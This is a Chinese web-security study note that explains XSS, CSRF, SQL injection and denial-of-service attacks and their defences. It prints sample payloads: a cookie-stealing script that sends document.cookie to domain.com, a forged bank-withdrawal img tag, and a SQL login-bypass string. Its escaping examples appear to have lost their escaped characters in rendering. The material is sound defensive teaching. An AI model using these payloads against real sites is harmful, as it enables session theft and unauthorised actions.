274 lines
11 KiB
Java
274 lines
11 KiB
Java
<!-- GFM-TOC -->
|
||
* [一、跨站脚本攻击](#一跨站脚本攻击)
|
||
* [二、跨站请求伪造](#二跨站请求伪造)
|
||
* [三、SQL 注入攻击](#三sql-注入攻击)
|
||
* [四、拒绝服务攻击](#四拒绝服务攻击)
|
||
* [参考资料](#参考资料)
|
||
<!-- GFM-TOC -->
|
||
|
||
|
||
# 一、跨站脚本攻击
|
||
|
||
## 概念
|
||
|
||
跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
|
||
|
||
## 攻击原理
|
||
|
||
例如有一个论坛网站，攻击者可以在上面发布以下内容：
|
||
|
||
```html
|
||
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
||
```
|
||
|
||
之后该内容可能会被渲染成以下形式：
|
||
|
||
```html
|
||
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
||
```
|
||
|
||
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
|
||
|
||
## 分类
|
||
|
||
XSS可分为三种不同的类型：反射型XSS、存储型XSS和DOM型XSS。
|
||
|
||
### 反射型XSS
|
||
|
||
反射型XSS主要是攻击者将精心构造的带有恶意代码的URL发送给受害者。受害者打开该连接后，经过浏览器的渲染从而遭受攻击。
|
||
|
||
### 存储型XSS
|
||
|
||
存储型XSS多出现于带有表单功能的页面，如留言板。攻击者提交带有恶意代码的数据，后端程序未经处理直接插入数据库。受害者用户在浏览该页面时，后端程序从数据库查询数据，未经处理直接传输给浏览器进行渲染，导致受害者遭受攻击。
|
||
|
||
### DOM型XSS
|
||
|
||
DOM型的XSS主要是特指攻击者插入的恶意代码修改了DOM环境，而造成服务器响应的代码没有按照原有的逻辑执行。DOM型的XSS没有对服务器响应的代码进行修改，而是在客户端侧影响DOM环境而产生的攻击行为。具体的例子如下：
|
||
|
||
```html
|
||
<select><script>
|
||
|
||
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
|
||
|
||
document.write("<OPTION value=2>English</OPTION>");
|
||
|
||
</script></select>
|
||
```
|
||
|
||
正常情况下的URL如下：
|
||
|
||
```
|
||
http://www.some.site/page.html?default=French
|
||
```
|
||
|
||
而DOM型的XSS攻击构造的URL则是：
|
||
|
||
```
|
||
http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
|
||
```
|
||
|
||
## 危害
|
||
|
||
- 窃取用户的 Cookie
|
||
- 伪造虚假的输入表单骗取个人信息
|
||
- 显示伪造的文章或者图片
|
||
|
||
## 防范手段
|
||
|
||
### 1. 设置 Cookie 为 HttpOnly
|
||
|
||
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
|
||
|
||
### 2. 过滤特殊字符
|
||
|
||
例如将 `<` 转义为 `<`，将 `>` 转义为 `>`，从而避免 HTML 和 Jascript 代码的运行。
|
||
|
||
富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
|
||
|
||
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，通过定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。
|
||
|
||
以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。
|
||
|
||
```html
|
||
<h1 id="title">XSS Demo</h1>
|
||
|
||
<p>123</p>
|
||
|
||
<form>
|
||
<input type="text" name="q" value="test">
|
||
</form>
|
||
|
||
<pre>hello</pre>
|
||
|
||
<script type="text/javascript">
|
||
alert(/xss/);
|
||
</script>
|
||
```
|
||
|
||
```html
|
||
<h1>XSS Demo</h1>
|
||
|
||
<p>123</p>
|
||
|
||
<form>
|
||
<input type="text" name="q" value="test">
|
||
</form>
|
||
|
||
<pre>hello</pre>
|
||
|
||
<script type="text/javascript">
|
||
alert(/xss/);
|
||
</script>
|
||
```
|
||
|
||
### 3. 设置CSP(Content-Security-Policy)
|
||
|
||
CSP 本质上就是建立白名单，开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则，如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。
|
||
通常可以通过两种方式来开启 CSP：
|
||
|
||
- 设置 HTTP Header 中的 Content-Security-Policy
|
||
- 设置 meta 标签的方式
|
||
|
||
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
|
||
|
||
# 二、跨站请求伪造
|
||
|
||
## 概念
|
||
|
||
跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
|
||
|
||
XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
|
||
|
||
## 攻击原理
|
||
|
||
假如一家银行用以执行转账操作的 URL 地址如下：
|
||
|
||
```
|
||
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
|
||
```
|
||
|
||
那么，一个恶意攻击者可以在另一个网站上放置如下代码：
|
||
|
||
```
|
||
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
|
||
```
|
||
|
||
如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 美元。
|
||
|
||
这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。
|
||
|
||
通过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
|
||
|
||
## 防范手段
|
||
|
||
### 1. 检查 Referer 首部字段
|
||
|
||
Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 CSRF 攻击。
|
||
|
||
这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
|
||
|
||
### 2. 添加校验 Token
|
||
|
||
在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。
|
||
|
||
### 3. 输入验证码
|
||
|
||
因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。
|
||
|
||
# 三、SQL 注入攻击
|
||
|
||
## 概念
|
||
|
||
服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。
|
||
|
||
## 攻击原理
|
||
|
||
例如一个网站登录验证的 SQL 查询代码为：
|
||
|
||
```sql
|
||
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
|
||
```
|
||
|
||
如果填入以下内容：
|
||
|
||
```sql
|
||
userName = "1' OR '1'='1";
|
||
passWord = "1' OR '1'='1";
|
||
```
|
||
|
||
那么 SQL 查询字符串为：
|
||
|
||
```sql
|
||
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
|
||
```
|
||
|
||
此时无需验证通过就能执行以下查询：
|
||
|
||
```sql
|
||
strSQL = "SELECT * FROM users;"
|
||
```
|
||
|
||
## 防范手段
|
||
|
||
### 1. 使用参数化查询
|
||
|
||
Java 中的 PreparedStatement 是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。
|
||
|
||
```java
|
||
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
|
||
stmt.setString(1, userid);
|
||
stmt.setString(2, password);
|
||
ResultSet rs = stmt.executeQuery();
|
||
```
|
||
|
||
### 2. 单引号转换
|
||
|
||
将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。
|
||
|
||
# 四、拒绝服务攻击
|
||
|
||
拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
|
||
|
||
分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
||
|
||
## 分类
|
||
拒绝服务攻击大致可以分为两种：
|
||
|
||
- 直接向目标发送大量报文，造成目标资源耗尽。
|
||
- 伪造请求报文的源IP地址（受害者IP），借助中间服务器，将响应报文反射到受害目标，这类称为**反射放大攻击**。
|
||
|
||
## 防范手段
|
||
|
||
其实目前DDoS攻击仍然是让安全研究人员最头疼的一种攻击方式。随着DDoS攻击的产业化，只需向攻击服务提供者支付一定的费用，攻击者即可发起大流量的DDoS攻击。而一次大流量的DDoS攻击对于任何组织来说，都是一次沉重的打击。
|
||
|
||
现在，针对DDoS攻击的不存在绝对有效的防御方法，以下的防御措施仅供参考。
|
||
|
||
### 1. 负载均衡
|
||
|
||
负载均衡技术可以有效的缓解单节点负载过大的问题。可以借助负载均衡技术将请求报文分摊到多个服务器上进行处理。假如一台服务器能够轻松处理10Gbps的流量，10台服务器能够处理流量将大幅提升。
|
||
|
||
### 2. 扩大带宽和使用硬件防火墙
|
||
|
||
针对于大企业来说，处理大规模的流量问题并不是很大。但是DDoS攻击会占用企业的带宽，从而影响用户的正常使用。因此，面对突如其来的DDoS攻击，提升带宽不失为一种紧急应对措施。可是，砸钱提升带宽只能缓一时之急。
|
||
|
||
一些硬件防火墙具有检测小流量的DoS攻击和其他网络攻击的能力，可以有效的防御一部分攻击。
|
||
|
||
### 3. 流量牵引
|
||
|
||
在企业流量入口处，做流量镜像。借助机器学习模型和异常检测算法对入网流量进行实时分析。在检测到发生DoS攻击时，借助路由协议（RIP、OSPF和BGP）将流量牵引到DoS流量清洗平台，允许清洗后的流量入网。
|
||
|
||
# 参考资料
|
||
|
||
- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
|
||
- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
|
||
- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
|
||
- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
||
- [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)
|
||
- [常见六大Web安全攻防解析](https://juejin.im/post/5c446eb1e51d45517624f7db#heading-1)
|
||
- [反射型 DDoS 攻击的原理和防范措施](https://blog.csdn.net/whatday/article/details/89453777)
|
||
- [浅谈DDoS攻防对抗中的AI实践](https://security.tencent.com/index.php/blog/msg/144)
|
||
|
||
|
||
|
||
|
||
<div align="center"><img width="320px" src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/githubio/公众号二维码-2.png"></img></div> |